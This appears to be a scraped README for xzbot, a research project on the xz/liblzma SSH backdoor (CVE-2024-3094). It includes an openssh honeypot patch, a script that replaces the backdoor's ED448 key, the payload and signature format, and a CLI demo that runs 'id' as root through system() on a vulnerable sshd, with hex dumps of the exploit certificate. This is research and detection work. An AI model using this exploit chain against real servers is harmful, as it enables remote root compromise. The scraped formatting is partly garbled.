

xzbot

Exploration of the xz backdoor (CVE-2024-3094). Includes the following:

- honeypot: fake vulnerable server to detect exploit attempts
- ed448 patch: patch liblzma.so to use our own ED448 public key
- backdoor format: format of the backdoor payload
- <u>backdoor demo</u>: cli to trigger the RCE assuming knowledge of the ED448 private key

```
<zbot:~# bpftrace --unsafe -e 'watchpoint:0x07FFFF74B1995:8:x {</pre>
   printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))));
   system("sleep 1; cat /tmp/.xz")
sshd (275384): id > /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)
$ xzbot -cmd 'id > /tmp/.xz
000000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74
                           6e 73 73 68 2e 63 6f 6d
00000010
       2d 76 30 31 40 6f 70 65
                           01 00 01 00 00 00 81 01
00000020
       00 00 00 00 00 00 00 03
       00 00 00 00 00 00 00 00
                           00 00 00 00 00 00 00 00
00000030
                           00 00 00 00 00 00 00 00
00000040
       00 00 00 00 00 00 00 00
00000050
       00 00 00 00 00 00 00 00
                           00 00 00 00 00 00 00 00
       00 00 00 00 00 00 00 00
                           00 00 00 00 00 00 00 00
00000060
00000070
       00 00 00 00 00 00 00 00
                           00 00 00 00 00 00 00 00
       00 00 00 00 00 00 00 00
                           00 00 00 00 00 00 00 00
00000080
00000090
       00 00 00 00 00 00 00 00
                           00 00 00 00 00 00 00 00
000000a0
000000h0
       00000000
       00 00 00 00 00 00 00 00
                           00 00 00 00 00 00 00 00
000000d0
       00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00
000000e0
000000f0 00 00 01 01 00 00 01 00 02 00 00 00 01 00 00
00000100
       00 00 00 00 00 00 00 00
                           54 97 bc c5 ef 93 e4 24
00000110 cf b1 57 57 59 85 52 fd 41 2a a5 54 9e aa c6 52
00000120
       58 64 a4 17 45 8a af 76 ce d2 e3 0b 7c bb 1f 29
                                                IXd..E..v....
00000130
       2b f0 38 45 3f 5e 00 f1 b0 00 15 84 e7 bc 10 1f
                                                I+.8E?^...
       0f 5f 50 36 07 9f bd 07
00000140
                           05 77 5c 74 84 69 c9 7a
00000150
       28 6b e8 16 aa 99 34 bf 9d c4 c4 5c b8 fd 4a 3c
00000160
       d8 2b 39 32 06 d9 4f a4
                           3a 00 d0 0b 0f a2 21 c0
00000170 86 c3 c9 e2 e6 17 b4 a6 54 ba c3 a1 4c 40 91 be
       91 9a 2b f8 0b 18 61 1c
                           5e e1 e0 5b e8 00 00 00
       00 00 00 00 00 00 00 00
                           00 00 00 00 00 00 00 00
       00 00 00 00 00 00 00 00
                           00 00 00 00 00 00 00
       73 73 68 2d 72 73 61 00 00 00 01 00
                                                Issh-rsa.....
2024/04/01 14:23:07 ssh: handshake failed: EOF
```

honeypot

See <u>openssh.patch</u> for a simple patch to openssh that logs any connection attempt with a public key N matching the backdoor format.

```
$ git clone https://github.com/openssh/openssh-portable
$ patch -p1 < ~/path/to/openssh.patch
$ autoreconf
$ ./configure
$ make</pre>
```

Any connection attempt will appear as follows in sshd logs:

```
$ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot:

Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth]

Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 0100000001000000000
```

ed448 patch

The backdoor uses a hardcoded ED448 public key for signature validation and decrypting the payload. If we replace this key with our own, we can trigger the backdoor.

The attacker's ED448 key is:

```
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28

34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48

10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e

20 d3 2c 60 2b 2c 6d 31 00
```

We will replace this key with our own (generated with seed=0):

```
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
```

To start, download a backdoored libxzma shared object, e.g. from https://snapshot.debian.org/package/xz-utils/5.6.1-1. Then run the patch script. See assets/ for examples.

```
Q
$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 lil
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch
```

Then run sshd using this modified liblzma.so.5.6.1.patch shared object.

backdoor format

The backdoor can be triggered by connecting with an SSH certificate with a payload in the CA signing key N value. This payload must be encrypted and signed with the attacker's ED448 key.

The structure has the following format:

```
a (32 bit) | b (32 bit) | c (64 bit) |
ciphertext (240 bytes)
```

A request type is derived from the three values above (a * b + c). If this value is greater than 3, the backdoor skips processing.

- Type 1: unknown, expects zero bytes
- Type 2: executes null-terminated payload with system()
- Type 3: unknown, expects 48 bytes (signed)

The ciphertext is encrypted with chacha20 using the first 32 bytes of the ED448 public key as a symmetric key. As a result, we can decrypt any exploit attempt using the following key:

```
Q
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
```

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The ciphertext has the following format:

```
Q
     signature (114 bytes)
| y (1 bit) |
| x (1 bit) | unused ? (14 bit)
unknown (8 bit) length (8 bit)
unknown (8 bit) | command \x00
```

Setting either x or y leads to slightly different code paths.

The signature is an RFC-8032 ED448 signature computed over the following values:

- The 32-bit magic value (e.g. 02 00 00 00)
- The 5 bytes of fields before command
- [optional] length bytes of the command
- The first 32 bytes of the sha256 hash of the server's hostkey

 \equiv

backdoor demo

```
$ go install github.com/amlweems/xzbot@latest

$ xzbot -h
Usage of xzbot:
   -addr string
        ssh server address (default "127.0.0.1:2222")
   -seed string
        ed448 seed, must match xz backdoor key (default "0")
   -cmd string
        command to run via system() (default "id > /tmp/.xz")
```

The following will connect to a vulnerable SSH server at 127.0.0.1:2222 and run the command id > /tmp/.xz:

```
Q
$ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |...ssh
00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |-v01@opi
00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |......
00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |......
00000170 00 00 01 01 00 00 01 00 02 00 00 00 01 00 00 00 |......
00000180 00 00 00 00 00 00 00 54 97 bc c5 ef 93 e4 24 |......
00000190 cf b1 57 57 59 85 52 fd 41 2a a5 54 9e aa c6 52 |..WWY.R
000001a0 58 64 a4 17 45 8a af 76 ce d2 e3 0b 7c bb 1f 29 | Xd..E..
000001b0 2b f0 38 45 3f 5e 00 f1 b0 00 15 84 e7 bc 10 1f |+.8E?^.
000001d0 28 6b e8 16 aa 99 34 bf 9d c4 c4 5c b8 fd 4a 3c | (k....4
000001e0 d8 2b 39 32 06 d9 4f a4 3a 00 d0 0b 0f a2 21 c0 | .+92..0
000001f0 86 c3 c9 e2 e6 17 b4 a6 54 ba c3 a1 4c 40 91 be |......
00000200 91 9a 2b f8 0b 18 61 1c 5e e1 e0 5b e8 00 00 00 |..+...a
00000280 73 73 68 2d 72 73 61 00 00 00 01 00
                                         |ssh-rsa
2024/03/30 00:00:00 ssh: handshake failed: EOF
```

On the vulnerable server, we can set a watchpoint for the call to <code>system()</code> and observe the command is executed:

```
$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
    printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz

$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)
```

The process tree after exploitation looks different from a normal sshd process tree:

```
# normal process tree 
$ ssh foo@bar
```